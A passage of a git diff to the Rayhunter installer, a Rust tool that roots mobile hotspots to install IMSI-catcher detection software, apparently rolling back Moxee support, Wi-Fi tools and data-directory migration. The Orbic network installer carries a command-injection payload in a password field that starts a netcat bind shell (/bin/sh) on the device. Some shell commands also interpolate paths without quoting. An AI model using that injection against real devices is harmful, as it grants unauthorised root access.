-Keeping Wi-Fi always on uses more battery. If you primarily monitor Rayhunter through the device's screen and don't need remote access, leave the timer at its default.
-
 ## Developing
 The device has a framebuffer-driven screen at /dev/fb0 that behaves
 similarly to the Orbic RC400L, although the userspace program
--- a/installer-gui/package-lock.json
+++ b/installer-gui/package-lock.json
--- a/installer-gui/package.json
+++ b/installer-gui/package.json
@@ -16,27 +16,27 @@
        "tauri": "tauri"
    },
    "dependencies": {
-        "@tailwindcss/vite": "^4.2.2",
+        "@tailwindcss/vite": "^4.1.16",
        "@tauri-apps/api": "^2",
        "@tauri-apps/plugin-opener": "^2",
        "tailwindcss": "^4.1.16"
    },
    "devDependencies": {
-        "@eslint/js": "^10.0.1",
+        "@eslint/js": "^9.38.0",
        "@sveltejs/adapter-static": "^3.0.6",
-        "@sveltejs/kit": "^2.57.1",
-        "@sveltejs/vite-plugin-svelte": "^7.0.0",
+        "@sveltejs/kit": "^2.50.1",
+        "@sveltejs/vite-plugin-svelte": "^5.0.0",
        "@tauri-apps/cli": "^2",
-        "eslint": "^10.2.1",
+        "eslint": "^9.38.0",
        "eslint-config-prettier": "^10.1.8",
-        "eslint-plugin-svelte": "^3.17.0",
-        "globals": "^17.5.0",
-        "prettier": "^3.8.3",
-        "prettier-plugin-svelte": "^3.5.1",
-        "svelte": "^5.55.4",
-        "svelte-check": "^4.4.6",
-        "typescript": "~6.0.3",
-        "typescript-eslint": "^8.58.2",
-        "vite": "^8.0.9"
+        "eslint-plugin-svelte": "^3.13.0",
+        "globals": "^16.4.0",
+        "prettier": "^3.6.2",
+        "prettier-plugin-svelte": "^3.4.0",
+        "svelte": "^5.0.0",
+        "svelte-check": "^4.0.0",
+        "typescript": "~5.6.2",
+        "typescript-eslint": "^8.46.2",
+        "vite": "^6.0.3"
    }
 }
--- a/installer-gui/src-tauri/Cargo.toml
+++ b/installer-gui/src-tauri/Cargo.toml
@@ -1,6 +1,6 @@
 [package]
 name = "installer-gui"
-version = "0.10.2"
+version = "0.10.1"
 edition = "2024"

 # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
--- a/installer/Cargo.toml
+++ b/installer/Cargo.toml
@@ -1,6 +1,6 @@
 [package]
 name = "installer"
-version = "0.10.2"
+version = "0.10.1"
 edition = "2024"

 [lib]
@@ -28,7 +28,7 @@ nusb = "0.1.13"
 reqwest = { version = "0.12.15", features = ["json"], default-features = false }
 serde = { version = "1.0.219", features = ["derive"] }
 sha2 = "0.10.8"
-tokio = { version = "1.44.2", features = ["io-util", "io-std", "macros", "rt"], default-features = false }
+tokio = { version = "1.44.2", features = ["io-util", "macros", "rt"], default-features = false }
 tokio-retry2 = "0.5.7"
 tokio-stream = "0.1.17"
 futures = "0.3"
--- a/installer/build.rs
+++ b/installer/build.rs
@@ -17,11 +17,6 @@ fn main() {
        .join(&profile);
    set_binary_var(&include_dir, "FILE_ROOTSHELL", "rootshell");
    set_binary_var(&include_dir, "FILE_RAYHUNTER_DAEMON", "rayhunter-daemon");
-
-    let wpa_dir = Path::new(env!("CARGO_MANIFEST_DIR")).join("../tools/build-wpa-supplicant/out");
-    set_binary_var(&wpa_dir, "FILE_WPA_SUPPLICANT", "wpa_supplicant");
-    set_binary_var(&wpa_dir, "FILE_WPA_CLI", "wpa_cli");
-    set_binary_var(&wpa_dir, "FILE_IW", "iw");
 }

 fn set_binary_var(include_dir: &Path, var: &str, file: &str) {
--- a/installer/src/connection.rs
+++ b/installer/src/connection.rs
@@ -1,9 +1,9 @@
 use std::future::Future;
 use std::net::SocketAddr;

-use anyhow::{Result, bail};
+use anyhow::Result;

-use crate::output::{print, println};
+use crate::output::println;

 /// Abstraction for device communication (telnet or ADB)
 pub trait DeviceConnection {
@@ -17,20 +17,19 @@ pub trait DeviceConnection {

 /// Check if a file exists using a DeviceConnection
 pub async fn file_exists<C: DeviceConnection>(conn: &mut C, path: &str) -> bool {
-    conn.run_command(&format!("test -f '{path}' && echo exists || echo missing"))
+    conn.run_command(&format!("test -f {path} && echo exists || echo missing"))
        .await
        .map(|output| output.contains("exists"))
        .unwrap_or(false)
 }

-/// Shared config installation logic. Installs to /data/rayhunter/config.toml which resolves
-/// through the symlink to the actual data directory.
+/// Shared config installation logic
 pub async fn install_config<C: DeviceConnection>(
    conn: &mut C,
+    config_path: &str,
    device_type: &str,
    reset_config: bool,
 ) -> Result<()> {
-    let config_path = "/data/rayhunter/config.toml";
    if reset_config || !file_exists(conn, config_path).await {
        let config = crate::CONFIG_TOML.replace(
            r#"#device = "orbic""#,
@@ -43,159 +42,6 @@ pub async fn install_config<C: DeviceConnection>(
    Ok(())
 }

-/// Install wifi tools (wpa_supplicant, wpa_cli, iw) to /data/rayhunter/bin.
-///
-/// Skips any binary that is already present on the device (e.g. provided by firmware),
-/// since those may be newer or better-integrated than the bundled versions.
-pub async fn install_wifi_tools<C: DeviceConnection>(
-    conn: &mut C,
-    wpa_supplicant: &[u8],
-    wpa_cli: &[u8],
-    iw: &[u8],
-) -> Result<()> {
-    let tools: &[(&str, &str, &[u8])] = &[
-        (
-            "wpa_supplicant",
-            "/data/rayhunter/bin/wpa_supplicant",
-            wpa_supplicant,
-        ),
-        ("wpa_cli", "/data/rayhunter/bin/wpa_cli", wpa_cli),
-        ("iw", "/data/rayhunter/bin/iw", iw),
-    ];
-    for &(name, dest, payload) in tools {
-        if device_has_binary(conn, name).await {
-            println!("{name} already on device, skipping");
-        } else {
-            conn.write_file(dest, payload).await?;
-            conn.run_command(&format!("chmod +x {dest}")).await?;
-        }
-    }
-    Ok(())
-}
-
-async fn device_has_binary<C: DeviceConnection>(conn: &mut C, name: &str) -> bool {
-    // `command -v` is a POSIX shell builtin, so it works on minimal busybox firmware
-    // even when /usr/bin/which is absent.
-    conn.run_command(&format!(
-        "\"command -v {name} >/dev/null 2>&1 && echo FOUND || echo MISSING\""
-    ))
-    .await
-    .map(|out| out.contains("FOUND"))
-    .unwrap_or(false)
-}
-
-/// Check if a directory exists using a DeviceConnection
-pub async fn dir_exists<C: DeviceConnection>(conn: &mut C, path: &str) -> bool {
-    conn.run_command(&format!("test -d '{path}' && echo exists || echo missing"))
-        .await
-        .map(|output| output.contains("exists"))
-        .unwrap_or(false)
-}
-
-/// Check if a path is a symlink using a DeviceConnection
-pub async fn is_symlink<C: DeviceConnection>(conn: &mut C, path: &str) -> bool {
-    conn.run_command(&format!("test -L '{path}' && echo yes || echo no"))
-        .await
-        .map(|output| output.contains("yes"))
-        .unwrap_or(false)
-}
-
-/// Read the target of a symlink using a DeviceConnection
-pub async fn readlink<C: DeviceConnection>(conn: &mut C, path: &str) -> Result<String> {
-    // Use a prefix marker to find the actual output line, since some shells (TP-Link) echo
-    // back the command and run_command appends protocol lines.
-    let output = conn
-        .run_command(&format!("echo RL:$(readlink '{path}')"))
-        .await?;
-
-    for line in output.lines() {
-        if let Some(target) = line.trim().strip_prefix("RL:") {
-            return Ok(target.to_string());
-        }
-    }
-
-    bail!("unexpected readlink output: {output:?}");
-}
-
-/// Set up the data directory at `data_dir` and create a symlink from `/data/rayhunter` to it.
-///
-/// Handles migration from old locations:
-/// - If `/data/rayhunter` is a real directory, moves its contents to `data_dir`
-/// - If `/data/rayhunter` is a symlink to a different location, moves from the old target
-/// - If `/data/rayhunter` doesn't exist, just creates the symlink
-/// - If `/data/rayhunter` is a symlink to `data_dir`, does nothing
-pub async fn setup_data_directory<C: DeviceConnection>(conn: &mut C, data_dir: &str) -> Result<()> {
-    if data_dir == "/data/rayhunter" {
-        bail!("data_dir must not be /data/rayhunter");
-    }
-
-    if data_dir.contains("'") {
-        bail!("data_dir must not contain an apostrophe (')");
-    }
-
-    // Determine where old data lives, if anywhere
-    let old_data_source = if is_symlink(conn, "/data/rayhunter").await {
-        let current_target = readlink(conn, "/data/rayhunter").await?;
-        if current_target == data_dir {
-            println!("Data directory already configured at {data_dir}");
-            return Ok(());
-        }
-        conn.run_command("rm -f /data/rayhunter").await?;
-        // The old symlink target is where data actually lives
-        if dir_exists(conn, &current_target).await {
-            Some(current_target)
-        } else {
-            None
-        }
-    } else if dir_exists(conn, "/data/rayhunter").await {
-        if dir_exists(conn, data_dir).await {
-            bail!("Both /data/rayhunter and {data_dir} exist and are directories.");
-        }
-        // Real directory (pre-migration Orbic state)
-        Some("/data/rayhunter".to_string())
-    } else {
-        None
-    };
-
-    // Migrate old data if present
-    if let Some(old_source) = &old_data_source {
-        // Stop rayhunter-daemon so it doesn't write during migration.
-        // The device will be rebooted at the end of installation anyway.
-        print!("Stopping rayhunter-daemon ... ");
-        let _ = conn
-            .run_command("/etc/init.d/rayhunter_daemon stop 2>/dev/null; true")
-            .await;
-        println!("ok");
-
-        print!("Migrating data from {old_source} to {data_dir} ... ");
-
-        // mv old data into its place. If source and destination are on the same filesystem,
-        // this is an instant rename.
-        // XXX: DeviceConnection::run_command does not expose the exit code of the ran command. It
-        // probably should, or a utility for it should exist?
-        let mv_output = conn
-            .run_command(&format!("mv '{old_source}' '{data_dir}' && echo MV_OK"))
-            .await?;
-        if mv_output.contains("MV_OK") {
-            println!("ok");
-        } else {
-            bail!("Failed to move data from {old_source} to {data_dir}:\n{mv_output}");
-        }
-    } else {
-        // No migration needed, just ensure the target directory exists
-        conn.run_command(&format!("mkdir -p '{data_dir}'")).await?;
-    }
-
-    // Create the symlink
-    print!("Creating symlink /data/rayhunter -> {data_dir} ... ");
-    conn.run_command("mkdir -p /data").await?;
-    conn.run_command(&format!("ln -sf '{data_dir}' /data/rayhunter"))
-        .await?;
-    println!("ok");
-
-    Ok(())
-}
-
 /// Telnet-based connection wrapper
 pub struct TelnetConnection {
    pub addr: SocketAddr,
@@ -213,13 +59,7 @@ impl TelnetConnection {

 impl DeviceConnection for TelnetConnection {
    async fn run_command(&mut self, command: &str) -> Result<String> {
-        crate::util::telnet_send_command_with_output(
-            self.addr,
-            command,
-            self.wait_for_prompt,
-            std::time::Duration::from_secs(10),
-        )
-        .await
+        crate::util::telnet_send_command_with_output(self.addr, command, self.wait_for_prompt).await
    }

    async fn write_file(&mut self, path: &str, content: &[u8]) -> Result<()> {
--- a/installer/src/lib.rs
+++ b/installer/src/lib.rs
@@ -6,7 +6,6 @@ use env_logger::Env;
 use anyhow::bail;

 mod connection;
-mod moxee;
 #[cfg(not(target_os = "android"))]
 mod orbic;
 mod orbic_auth;
@@ -41,11 +40,9 @@ enum Command {
    /// Install rayhunter on the Orbic RC400L using the legacy USB+ADB-based installer.
    #[cfg(not(target_os = "android"))]
    OrbicUsb(InstallOrbic),
-    /// Install rayhunter on the Orbic RC400L via network.
+    /// Install rayhunter on the Orbic RC400L or Moxee Hotspot via network.
    #[clap(alias = "orbic-network")]
    Orbic(OrbicNetworkArgs),
-    /// Install rayhunter on the Moxee Hotspot via network.
-    Moxee(MoxeeArgs),
    /// Install rayhunter on the TMobile TMOHS1.
    Tmobile(TmobileArgs),
    /// Install rayhunter on the Uz801.
@@ -87,12 +84,6 @@ struct InstallTpLink {
    /// Overwrite config.toml even if it already exists on the device.
    #[arg(long)]
    reset_config: bool,
-
-    /// Override the data directory path. Defaults to /cache/rayhunter-data (or SD card path when
-    /// SD card is used). Must not be /data/rayhunter, which lives on a storage partition that's
-    ///  too small for normal Rayhunter operation.
-    #[arg(long)]
-    data_dir: Option<String>,
 }

 #[derive(Parser, Debug)]
@@ -119,35 +110,6 @@ struct OrbicNetworkArgs {
    /// Overwrite config.toml even if it already exists on the device.
    #[arg(long)]
    reset_config: bool,
-
-    /// Override the data directory path. Defaults to /data/rayhunter-data.
-    /// Must not be /data/rayhunter.
-    #[arg(long)]
-    data_dir: Option<String>,
-}
-
-#[derive(Parser, Debug)]
-struct MoxeeArgs {
-    /// IP address for Moxee admin interface, if custom.
-    #[arg(long, default_value = "192.168.1.1")]
-    admin_ip: String,
-
-    /// Admin username for authentication.
-    #[arg(long, default_value = "admin")]
-    admin_username: String,
-
-    /// Admin password for authentication.
-    #[arg(long)]
-    admin_password: Option<String>,
-
-    /// Overwrite config.toml even if it already exists on the device.
-    #[arg(long)]
-    reset_config: bool,
-
-    /// Override the data directory path. Defaults to /cache/rayhunter-data.
-    /// Must not be /data/rayhunter.
-    #[arg(long)]
-    data_dir: Option<String>,
 }

 #[derive(Parser, Debug)]
@@ -283,8 +245,7 @@ async fn run(args: Args) -> Result<(), Error> {
            .context("Failed to install rayhunter on the Pinephone's Quectel modem")?,
        #[cfg(not(target_os = "android"))]
        Command::OrbicUsb(args) => orbic::install(args.reset_config).await.context("\nFailed to install rayhunter on the Orbic RC400L (USB installer)")?,
-        Command::Orbic(args) => orbic_network::install(args.admin_ip, args.admin_username, args.admin_password, args.reset_config, args.data_dir).await.context("\nFailed to install rayhunter on the Orbic RC400L")?,
-        Command::Moxee(args) => moxee::install(args).await.context("\nFailed to install rayhunter on the Moxee Hotspot")?,
+        Command::Orbic(args) => orbic_network::install(args.admin_ip, args.admin_username, args.admin_password, args.reset_config).await.context("\nFailed to install rayhunter on the Orbic RC400L")?,
        Command::Wingtech(args) => wingtech::install(args).await.context("\nFailed to install rayhunter on the Wingtech CT2MHS01")?,
        Command::Util(subcommand) => {
            match subcommand.command {
--- a/installer/src/moxee.rs
+++ b/installer/src/moxee.rs
@@ -1,15 +0,0 @@
-use anyhow::Result;
-
-use crate::MoxeeArgs;
-
-pub async fn install(args: MoxeeArgs) -> Result<()> {
-    let data_dir = args.data_dir.or(Some("/cache/rayhunter-data".to_string()));
-    crate::orbic_network::install(
-        args.admin_ip,
-        args.admin_username,
-        args.admin_password,
-        args.reset_config,
-        data_dir,
-    )
-    .await
-}
--- a/installer/src/orbic.rs
+++ b/installer/src/orbic.rs
@@ -13,7 +13,7 @@ use sha2::{Digest, Sha256};
 use tokio::time::sleep;

 use crate::RAYHUNTER_DAEMON_INIT;
-use crate::connection::{DeviceConnection, install_config, install_wifi_tools};
+use crate::connection::{DeviceConnection, install_config};
 use crate::output::{print, println};
 use crate::util::open_usb_device;

@@ -53,15 +53,8 @@ pub struct AdbConnection<'a> {
 }

 impl DeviceConnection for AdbConnection<'_> {
-    /// Runs through /bin/rootshell so commands execute as root (install_wifi_tools needs
-    /// chmod on root-owned files). setup_rootshell must have succeeded before an
-    /// AdbConnection is created; callers in this module (setup_rayhunter) enforce that
-    /// ordering.
    async fn run_command(&mut self, command: &str) -> Result<String> {
-        adb_command(
-            self.device,
-            &["/bin/rootshell", "-c", &format!("\"{command}\"")],
-        )
+        adb_command(self.device, &["sh", "-c", command])
    }

    async fn write_file(&mut self, path: &str, content: &[u8]) -> Result<()> {
@@ -153,11 +146,7 @@ async fn setup_rootshell(adb_device: &mut ADBUSBDevice) -> Result<()> {
 async fn setup_rayhunter(mut adb_device: ADBUSBDevice, reset_config: bool) -> Result<ADBUSBDevice> {
    let rayhunter_daemon_bin = include_bytes!(env!("FILE_RAYHUNTER_DAEMON"));

-    adb_at_syscmd(
-        &mut adb_device,
-        "mkdir -p /data/rayhunter/scripts /data/rayhunter/bin",
-    )
-    .await?;
+    adb_at_syscmd(&mut adb_device, "mkdir -p /data/rayhunter").await?;
    install_file(
        &mut adb_device,
        "/data/rayhunter/rayhunter-daemon",
@@ -169,12 +158,11 @@ async fn setup_rayhunter(mut adb_device: ADBUSBDevice, reset_config: bool) -> Re
        let mut conn = AdbConnection {
            device: &mut adb_device,
        };
-        install_config(&mut conn, "orbic", reset_config).await?;
-        install_wifi_tools(
+        install_config(
            &mut conn,
-            include_bytes!(env!("FILE_WPA_SUPPLICANT")),
-            include_bytes!(env!("FILE_WPA_CLI")),
-            include_bytes!(env!("FILE_IW")),
+            "/data/rayhunter/config.toml",
+            "orbic",
+            reset_config,
        )
        .await?;
    }
@@ -191,15 +179,8 @@ async fn setup_rayhunter(mut adb_device: ADBUSBDevice, reset_config: bool) -> Re
        include_bytes!("../../dist/scripts/misc-daemon"),
    )
    .await?;
-    install_file(
-        &mut adb_device,
-        "/etc/init.d/S01iptables",
-        include_bytes!("../../dist/scripts/S01iptables"),
-    )
-    .await?;
    adb_at_syscmd(&mut adb_device, "chmod 755 /etc/init.d/rayhunter_daemon").await?;
    adb_at_syscmd(&mut adb_device, "chmod 755 /etc/init.d/misc-daemon").await?;
-    adb_at_syscmd(&mut adb_device, "chmod 755 /etc/init.d/S01iptables").await?;
    println!("done");
    print!("Waiting for reboot... ");
    adb_at_syscmd(&mut adb_device, "shutdown -r -t 1 now").await?;
--- a/installer/src/orbic_network.rs
+++ b/installer/src/orbic_network.rs
@@ -8,9 +8,7 @@ use serde::Deserialize;
 use tokio::time::sleep;

 use crate::RAYHUNTER_DAEMON_INIT;
-use crate::connection::{
-    TelnetConnection, install_config, install_wifi_tools, setup_data_directory,
-};
+use crate::connection::{TelnetConnection, install_config};
 use crate::orbic_auth::{LoginInfo, LoginRequest, LoginResponse, encode_password};
 use crate::output::{eprintln, print, println};
 use crate::util::{interactive_shell, telnet_send_command, telnet_send_file};
@@ -24,10 +22,7 @@ struct ExploitResponse {
 }

 async fn login_and_exploit(admin_ip: &str, username: &str, password: &str) -> Result<()> {
-    // Disable connection pooling. The Orbic's web server does not properly support
-    // HTTP/1.1 keep-alive, so reusing connections causes "connection closed before
-    // message completed" errors.
-    let client: Client = Client::builder().pool_max_idle_per_host(0).build()?;
+    let client: Client = Client::new();

    // Step 1: Get login info (priKey and session cookie)
    let login_info_response = client
@@ -109,7 +104,7 @@ async fn login_and_exploit(admin_ip: &str, username: &str, password: &str) -> Re
    }

    // Step 4: Exploit using authenticated session
-    let exploit_result = client
+    let response: ExploitResponse = client
        .post(format!("http://{}/action/SetRemoteAccessCfg", admin_ip))
        .header("Content-Type", "application/json")
        .header("Cookie", authenticated_cookie)
@@ -118,27 +113,14 @@ async fn login_and_exploit(admin_ip: &str, username: &str, password: &str) -> Re
            r#"{{"password": "\"; busybox nc -ll -p {TELNET_PORT} -e /bin/sh & #"}}"#
        ))
        .send()
-        .await;
+        .await
+        .context("failed to start telnet")?
+        .json()
+        .await
+        .context("failed to start telnet")?;

-    match exploit_result {
-        Ok(resp) => {
-            // Try to parse response but don't fail if the server closed the connection
-            match resp.json::<ExploitResponse>().await {
-                Ok(response) if response.retcode != 0 => {
-                    bail!("unexpected response while starting telnet: {:?}", response);
-                }
-                Ok(_) => {}
-                Err(_) => {
-                    // Server likely crashed from the injection which is expected
-                }
-            }
-        }
-        Err(e) if e.is_connect() => {
-            bail!("failed to connect to admin interface at {admin_ip}: {e}");
-        }
-        Err(e) => {
-            eprintln!("exploit request failed ({e}), continuing anyway");
-        }
+    if response.retcode != 0 {
+        bail!("unexpected response while starting telnet: {:?}", response);
    }

    Ok(())
@@ -165,7 +147,6 @@ pub async fn install(
    admin_username: String,
    admin_password: Option<String>,
    reset_config: bool,
-    data_dir: Option<String>,
 ) -> Result<()> {
    let Some(admin_password) = admin_password else {
        eprintln!(
@@ -189,8 +170,7 @@ pub async fn install(
    wait_for_telnet(&admin_ip).await?;
    println!("done");

-    let data_dir = data_dir.unwrap_or_else(|| "/data/rayhunter-data".to_string());
-    setup_rayhunter(&admin_ip, reset_config, &data_dir).await
+    setup_rayhunter(&admin_ip, reset_config).await
 }

 async fn wait_for_telnet(admin_ip: &str) -> Result<()> {
@@ -214,7 +194,7 @@ async fn wait_for_telnet(admin_ip: &str) -> Result<()> {
    Ok(())
 }

-async fn setup_rayhunter(admin_ip: &str, reset_config: bool, data_dir: &str) -> Result<()> {
+async fn setup_rayhunter(admin_ip: &str, reset_config: bool) -> Result<()> {
    let addr = SocketAddr::from_str(&format!("{admin_ip}:{TELNET_PORT}"))?;
    let rayhunter_daemon_bin = include_bytes!(env!("FILE_RAYHUNTER_DAEMON"));

@@ -228,17 +208,7 @@ async fn setup_rayhunter(admin_ip: &str, reset_config: bool, data_dir: &str) ->
    )
    .await?;

-    let mut conn = TelnetConnection::new(addr, false);
-    setup_data_directory(&mut conn, data_dir).await?;
-
-    // Ensure bin and scripts directories exist under the data dir (via symlink)
-    telnet_send_command(
-        addr,
-        "mkdir -p /data/rayhunter/scripts /data/rayhunter/bin",
-        "exit code 0",
-        false,
-    )
-    .await?;
+    telnet_send_command(addr, "mkdir -p /data/rayhunter", "exit code 0", false).await?;

    telnet_send_file(
        addr,
@@ -248,16 +218,15 @@ async fn setup_rayhunter(admin_ip: &str, reset_config: bool, data_dir: &str) ->
    )
    .await?;

-    install_wifi_tools(
+    let mut conn = TelnetConnection::new(addr, false);
+    install_config(
        &mut conn,
-        include_bytes!(env!("FILE_WPA_SUPPLICANT")),
-        include_bytes!(env!("FILE_WPA_CLI")),
-        include_bytes!(env!("FILE_IW")),
+        "/data/rayhunter/config.toml",
+        "orbic",
+        reset_config,
    )
    .await?;

-    install_config(&mut conn, "orbic", reset_config).await?;
-
    telnet_send_file(
        addr,
        "/etc/init.d/rayhunter_daemon",
@@ -273,13 +242,6 @@ async fn setup_rayhunter(admin_ip: &str, reset_config: bool, data_dir: &str) ->
        false,
    )
    .await?;
-    telnet_send_file(
-        addr,
-        "/etc/init.d/S01iptables",
-        include_bytes!("../../dist/scripts/S01iptables"),
-        false,
-    )
-    .await?;

    telnet_send_command(
        addr,
@@ -302,13 +264,6 @@ async fn setup_rayhunter(admin_ip: &str, reset_config: bool, data_dir: &str) ->
        false,
    )
    .await?;
-    telnet_send_command(
-        addr,
-        "chmod 755 /etc/init.d/S01iptables",
-        "exit code 0",
-        false,
-    )
-    .await?;

    println!("Installation complete. Rebooting device...");
    telnet_send_command(addr, "shutdown -r -t 1 now", "", false)
--- a/installer/src/tmobile.rs
+++ b/installer/src/tmobile.rs
@@ -13,7 +13,7 @@ use tokio::time::sleep;

 use crate::TmobileArgs as Args;
 use crate::output::{print, println};
-use crate::util::{reboot_device, telnet_send_command, telnet_send_file};
+use crate::util::{http_ok_every, telnet_send_command, telnet_send_file};
 use crate::wingtech::start_telnet;

 pub async fn install(
@@ -92,13 +92,20 @@ async fn run_install(admin_ip: String, admin_password: String) -> Result<()> {
    )
    .await?;

-    reboot_device(addr, "reboot", &admin_ip).await;
+    println!("Rebooting device and waiting 30 seconds for it to start up.");
+    telnet_send_command(addr, "reboot", "exit code 0", true).await?;
+    sleep(Duration::from_secs(30)).await;

-    println!();
-    println!("Note: by default the TMOHS1 shuts off Wi-Fi after 10 minutes with no clients,");
-    println!("which blocks remote access to Rayhunter until you power cycle. To keep");
-    println!("Wi-Fi always on, open http://{admin_ip}/ -> Settings -> Sleep and set");
-    println!("Wi-Fi Standby to \"Always on\". See doc/tmobile-tmohs1.md for steps.");
+    print!("Testing rayhunter ... ");
+    let max_failures = 10;
+    http_ok_every(
+        format!("http://{admin_ip}:8080/index.html"),
+        Duration::from_secs(3),
+        max_failures,
+    )
+    .await?;
+    println!("ok");
+    println!("rayhunter is running at http://{admin_ip}:8080");

    Ok(())
 }
--- a/installer/src/tplink.rs
+++ b/installer/src/tplink.rs
@@ -18,7 +18,7 @@ use serde::Deserialize;
 use tokio::time::sleep;

 use crate::InstallTpLink;
-use crate::connection::{TelnetConnection, install_config, setup_data_directory};
+use crate::connection::{TelnetConnection, install_config};
 use crate::output::println;
 use crate::util::{interactive_shell, telnet_send_command, telnet_send_file};

@@ -30,19 +30,10 @@ pub async fn main_tplink(
        admin_ip,
        sdcard_path,
        reset_config,
-        data_dir,
    }: InstallTpLink,
 ) -> Result<(), Error> {
    let is_v3 = start_telnet(&admin_ip).await?;
-    tplink_run_install(
-        skip_sdcard,
-        admin_ip,
-        sdcard_path,
-        is_v3,
-        reset_config,
-        data_dir,
-    )
-    .await
+    tplink_run_install(skip_sdcard, admin_ip, sdcard_path, is_v3, reset_config).await
 }

 #[derive(Deserialize)]
@@ -123,15 +114,19 @@ async fn tplink_run_install(
    mut sdcard_path: String,
    is_v3: bool,
    reset_config: bool,
-    cli_data_dir: Option<String>,
 ) -> Result<(), Error> {
    println!("Connecting via telnet to {admin_ip}");
    let addr = SocketAddr::from_str(&format!("{admin_ip}:23")).unwrap();

-    let data_dir = if let Some(dir) = cli_data_dir {
-        dir
-    } else if skip_sdcard {
-        "/cache/rayhunter-data".to_owned()
+    if skip_sdcard {
+        sdcard_path = "/data/rayhunter-data".to_owned();
+        telnet_send_command(
+            addr,
+            &format!("mkdir -p {sdcard_path}"),
+            "exit code 0",
+            true,
+        )
+        .await?
    } else {
        if sdcard_path.is_empty() {
            let try_paths = [
@@ -151,12 +146,9 @@ async fn tplink_run_install(
            }

            if sdcard_path.is_empty() {
-                // This error message is shown when the installer cannot figure out where this
-                // device _would_ mount an SD card, regardless of whether the user did insert one.
-                // If we get here, it's likely the installer was never tested for this hardware
-                // version.
                anyhow::bail!(
-                    "Unable to determine sdcard path. This is a bug. Please file an issue with your hardware version.\n\n\
+                    "Unable to determine sdcard path. Rayhunter needs a FAT-formatted SD card to function.\n\n\
+                    If you already inserted a FAT formatted SD card, this is a bug. Please file an issue with your hardware version.\n\n\
                    The installer has tried to find an empty folder to mount to on these paths: {try_paths:?}\n\
                    ...but none of them exist.\n\n\
                    At this point, you may 'telnet {admin_ip}' and poke around in the device to figure out what went wrong yourself."
@@ -174,43 +166,49 @@ async fn tplink_run_install(
        .await
        .is_err()
        {
-            // Try to mount the SD card, and if that fails we assume the user didn't insert one.
-            telnet_send_command(addr, &format!("mount /dev/mmcblk0p1 {sdcard_path}"), "exit code 0", true).await.context("Rayhunter needs a FAT-formatted SD card to function for more than a few hours. Insert one and rerun this installer, or pass --skip-sdcard")?;
+            telnet_send_command(addr, &format!("mount /dev/mmcblk0p1 {sdcard_path}"), "exit code 0", true).await.context("Rayhunter needs a FAT-formatted SD card to function for more than a few minutes. Insert one and rerun this installer, or pass --skip-sdcard")?;
        } else {
            println!("sdcard already mounted");
        }
+    }

-        sdcard_path
-    };
+    // there is too little space on the internal flash to store anything, but the initrd script
+    // expects things to be at this location
+    telnet_send_command(addr, "rm -rf /data/rayhunter", "exit code 0", true).await?;
+    telnet_send_command(addr, "mkdir -p /data", "exit code 0", true).await?;
+    telnet_send_command(
+        addr,
+        &format!("ln -sf {sdcard_path} /data/rayhunter"),
+        "exit code 0",
+        true,
+    )
+    .await?;

    let mut conn = TelnetConnection::new(addr, true);
-    setup_data_directory(&mut conn, &data_dir).await?;
-
-    install_config(&mut conn, "tplink", reset_config).await?;
+    let config_path = format!("{sdcard_path}/config.toml");
+    install_config(&mut conn, &config_path, "tplink", reset_config).await?;

    let rayhunter_daemon_bin = include_bytes!(env!("FILE_RAYHUNTER_DAEMON"));

    telnet_send_file(
        addr,
-        "/data/rayhunter/rayhunter-daemon",
+        &format!("{sdcard_path}/rayhunter-daemon"),
        rayhunter_daemon_bin,
        true,
    )
    .await?;

-    let init_script = get_rayhunter_daemon(if skip_sdcard { None } else { Some(&data_dir) });
-
    telnet_send_file(
        addr,
        "/etc/init.d/rayhunter_daemon",
-        init_script.as_bytes(),
+        get_rayhunter_daemon(&sdcard_path).as_bytes(),
        true,
    )
    .await?;

    telnet_send_command(
        addr,
-        "chmod ugo+x /data/rayhunter/rayhunter-daemon",
+        &format!("chmod ugo+x {sdcard_path}/rayhunter-daemon"),
        "exit code 0",
        true,
    )
@@ -370,19 +368,18 @@ async fn tplink_launch_telnet_v5(admin_ip: &str) -> Result<(), Error> {
    Ok(())
 }

-fn get_rayhunter_daemon(sdcard_path: Option<&str>) -> String {
+fn get_rayhunter_daemon(sdcard_path: &str) -> String {
    // Even though TP-Link eventually auto-mounts the SD card, it sometimes does so too late. And
    // changing the order in which daemons are started up seems to not work reliably.
    //
    // This part of the daemon dynamically generated because we may have to eventually add logic
    // specific to a particular hardware revision here.
-    let prestart = match sdcard_path {
-        Some(path) => {
-            format!("(mount /dev/mmcblk0p1 {path} || true) 2>&1 | tee /tmp/rayhunter-mount.log")
-        }
-        None => String::new(),
-    };
-    crate::RAYHUNTER_DAEMON_INIT.replace("#RAYHUNTER-PRESTART", &prestart)
+    crate::RAYHUNTER_DAEMON_INIT.replace(
+        "#RAYHUNTER-PRESTART",
+        &format!(
+            "(mount /dev/mmcblk0p1 {sdcard_path} || true) 2>&1 | tee /tmp/rayhunter-mount.log"
+        ),
+    )
 }

 /// Root the TP-Link device and open an interactive shell
@@ -393,10 +390,6 @@ pub async fn shell(admin_ip: &str) -> Result<(), Error> {

 #[test]
 fn test_get_rayhunter_daemon() {
-    let s = get_rayhunter_daemon(Some("/media/card"));
+    let s = get_rayhunter_daemon("/media/card");
    assert!(s.contains("mount /dev/mmcblk0p1 /media/card"));
-
-    let s = get_rayhunter_daemon(None);
-    assert!(!s.contains("mmcblk0p1"));
-    assert!(!s.contains("#RAYHUNTER-PRESTART"));
 }
--- a/installer/src/util.rs
+++ b/installer/src/util.rs
@@ -4,6 +4,7 @@ use std::time::Duration;

 use anyhow::{Context, Result, bail};
 use nusb::Device;
+use reqwest::Client;
 use tokio::io::{AsyncReadExt, AsyncWriteExt};
 use tokio::net::TcpStream;
 use tokio::time::{sleep, timeout};
@@ -17,60 +18,54 @@ pub async fn telnet_send_command_with_output(
    addr: SocketAddr,
    command: &str,
    wait_for_prompt: bool,
-    command_timeout: Duration,
 ) -> Result<String> {
-    if command.contains('\n') {
-        bail!("multi-line commands are not allowed");
-    }
-
    let stream = TcpStream::connect(addr).await?;
    let (mut reader, mut writer) = stream.into_split();

    if wait_for_prompt {
-        // Wait for the shell prompt. This also consumes any telnet IAC negotiation
-        // the server sends at connection start, and ensures the shell is ready
-        // for input.
-        while reader.read_u8().await? != b'#' {}
+        // Wait for initial '#' prompt from telnetd
+        loop {
+            let mut next_byte = 0;
+            reader
+                .read_exact(std::slice::from_mut(&mut next_byte))
+                .await?;
+            if next_byte == b'#' {
+                break;
+            }
+        }
    }

-    // This contraption is there so we clearly know where the command output starts and ends,
